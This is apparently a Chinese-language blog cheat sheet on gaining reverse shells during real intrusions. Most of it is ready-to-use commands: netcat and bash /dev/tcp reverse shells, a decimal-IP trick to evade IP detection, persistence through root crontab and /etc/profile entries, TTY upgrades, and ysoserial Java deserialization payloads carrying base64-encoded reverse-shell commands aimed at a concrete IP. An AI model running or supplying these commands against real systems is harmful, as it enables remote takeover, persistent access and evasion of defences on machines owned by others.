反弹shell专题
一、前言
在实战情况下,多数命令执行点,我们都是反弹shell回来进行操作(方便,快捷),反弹shell即将命令行交给外部去使用
二、连接方式
2.1 正向连接
机器A—->(层层防护)–>受害机器B
即:攻击机A主动去连接受害机器B,这种情况在内网会用,在边界防护太多,面临被ban的风险也大
2.2 反向连接
机器A<—-(层层防护)<–受害机器B
即:受害机器B主动出来找攻击机A,更容易,原因就是防护严入宽出的原则
三、姿势总结
3.1 命令生成站点
棱角社区
hacktools
https://cdbc.pythonanywhere.com/
https://ares-x.com/tools/runtime-exec
3.2 nc反弹shell
NC是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
安装(有-e参数,而linux系统自带的则无)
1 | wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz |
使用
1 | nc -e /bin/bash [host] [port] |
nc老版本问题
1 | 当nc版本问题时: |
3.3 bash
最好用的方法
1 | bash -i >& /dev/tcp/IP/PORT 0>&1 |
绕过检测
在VPS上启一个web服务(python3 -m http.server [port] -d .
),放index.html,内容如bash -i >& /dev/tcp/IP/PORT 0>&1
还有是绕过IP检测和一些编码符号问题
十进制IP绕过
原始:bash -i >& /dev/tcp/192.168.40.20/8888 0>&1
变形:bash -i >& /dev/tcp/3232245780/8888 0>&1
3.4 计划任务反弹shell
反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username>
或者/etc/crontab
,所以必须要知道远程主机当前的用户名。否则将不会被执行。
- 当前用户名为 root,我们就要将下面内容写入到
/var/spool/cron/root
中。(centos系列主机) - 当前用户名为 root,我们就要将下面内容写入到
/var/spool/cron/crontabs/root
中。(Debian/Ubuntu系列主机)1
2
3
4* * * * * command
分 时 日 月 周 命令
* * * * * bash -i >& /dev/tcp/IP/PORT 0>&1
3.5 profile文件反弹shell
/etc/profile
中的内容会在用户打开 bash 窗口时执行
1 | /bin/bash -i >& /dev/tcp/IP/PORT 0>&1 & |
3.6 交互式切换
python -c 'import pty;pty.spawn("/bin/bash")'
/usr/bin/script -qc /bin/bash /dev/null
3.7 其他
其他语言和工具的去命令生成站点看即可
四、java反序列化(反弹shell)
4.1 yso工具的使用
工具下载直达java -jar ysoserial-all.jar 要打的链子 "命令" |base64 -w0
-w0
是让它不要换行bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjIwLzEyMzQgMD4mMQ}|{base64,-d}|{bash,-i}"
"nc xxx xx -e /bin/bash"
4.2 POC经常弹失败?
来自Z1ng3r师傅的详解
总结:在java反序列化带入命令RCE时,由于是代码去处理,所以环境不同,不像直接在shell执行那样,如:参数分割、参数解析的问题
建议用下面这种
1 | "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjIwLzEyMzQgMD4mIDE}|{ base64,-d}|{bash,-i}" |